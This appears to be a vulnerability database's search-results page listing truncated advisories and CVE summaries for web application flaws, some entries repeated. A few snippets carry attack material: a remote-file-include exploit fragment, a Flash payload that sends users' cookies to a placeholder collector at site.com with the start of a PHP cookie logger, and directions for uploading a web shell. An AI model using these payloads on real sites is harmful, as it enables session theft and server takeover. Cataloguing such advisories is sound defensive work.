1183 matches found
Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...
phpgenlib-rfi.txt
Exp coding : X-Turk web app : PhP Generic library & framework includepath Remote File Include Exploit My Site : Worldhackerz.net Thanx : Madconfig , H0tturk , Pala , Darkworm , Batty , Akrep , Str0ke , And Al Worldhackerz.net Team Users $rfi = "membres/membreManager.php?includepath="; $path = "/"...
Nuked Klan任意.SWF文件COOKIE窃取漏洞
Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...
CVE-2006-6853
Buffer overflow in Durian Web Application Server 3.02 freeware on Windows allows remote attackers to execute arbitrary code via a long string in a crafted packet to TCP port 4002...
CVE-2006-6853
Buffer overflow in Durian Web Application Server 3.02 freeware on Windows allows remote attackers to execute arbitrary code via a long string in a crafted packet to TCP port 4002...
CVE-2006-6675
Cross-site scripting XSS vulnerability in Novell NetWare 6.5 Support Pack 5 and 6 and Novell Apache on NetWare 2.0.48 allows remote attackers to inject arbitrary web script or HTML via unspecified parameters in Welcome web-app...
CVE-2006-6675
Cross-site scripting XSS vulnerability in Novell NetWare 6.5 Support Pack 5 and 6 and Novell Apache on NetWare 2.0.48 allows remote attackers to inject arbitrary web script or HTML via unspecified parameters in Welcome web-app...
Land Down Under / Seditio polls.php id Parameter SQL Injection
The remote version of Land Down Under or Seditio fails to sanitize input to the 'id' parameter of the 'polls.php' script before using it in a database query. Provided PHP's 'magicquotesgpc' setting is disabled, an unauthenticated attacker may be able to leverage this issue to uncover sensitive...
PHP Rapid Kill All Version File Injection
Discovered By:Null PHP Rapid Kill All Version File Injection U Can Upload Your Shell Code To Rapidshare.de and then copy link to the Link to Download text box of the web app then your shell Uploaded To this URL www.site.com/rapidpath/yourfile.php Download App:http://www.filefactory.com/file/f1486...
The preparation of the"invisible"Web App(in PHP, for example)-bug warning-the black bar safety net
This year the write things are is no power, dryly,we look at a thing good. Basically CGI scanners this includes the vast majority ofSQL injectiondetection tools, backend/upload/database scanner Are determined by the HTTP response code to determine, is 2 0 0, 4 0 4, 4 0 0 of these, believe that al...
DSA-1099-1 - horde2 - missing input sanitising
Bulletin has no description...
Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...
Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...
Web applications security vulnerabilities (PHP, ASP, JSP, CGI, Perl)
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...
AltantisFAQ SQL inj. vuln.
Atlantis GPL Knowledge Base Software SQL inj. vuln. Vuln. dicovered by : r0t Date: 28 nov. 2005 Orginal advisory:http://pridels.blogspot.com/2005/11/altantisfaq-sql-inj-vuln.html Vendor:http://atlantisfaq.com/ affected version:3.0 and prior Product Description: Atlantis FAQ AltantisFAQ Free...
PHP, ASP, CGI web applications security vulnerabilities
No description provided...
CVE-2004-1409
CVE-2004-1409 affects Image Gallery Web Application 0.9.10 with multiple cross-site scripting (XSS) vulnerabilities that allow remote attackers to inject arbitrary web script or HTML. The provided documents specify the affected software and vulnerable condition but do not include explicit exploit...
CVE-2001-0366
The CVE-2001-0366 issue affects saposcol in SAP R/3 Web Application Server Demo prior to 1.5, where the process trusts the PATH environment variable to locate and execute the expand program. This design allows local users to escalate to root by altering PATH to point to a Trojan horse expand prog...
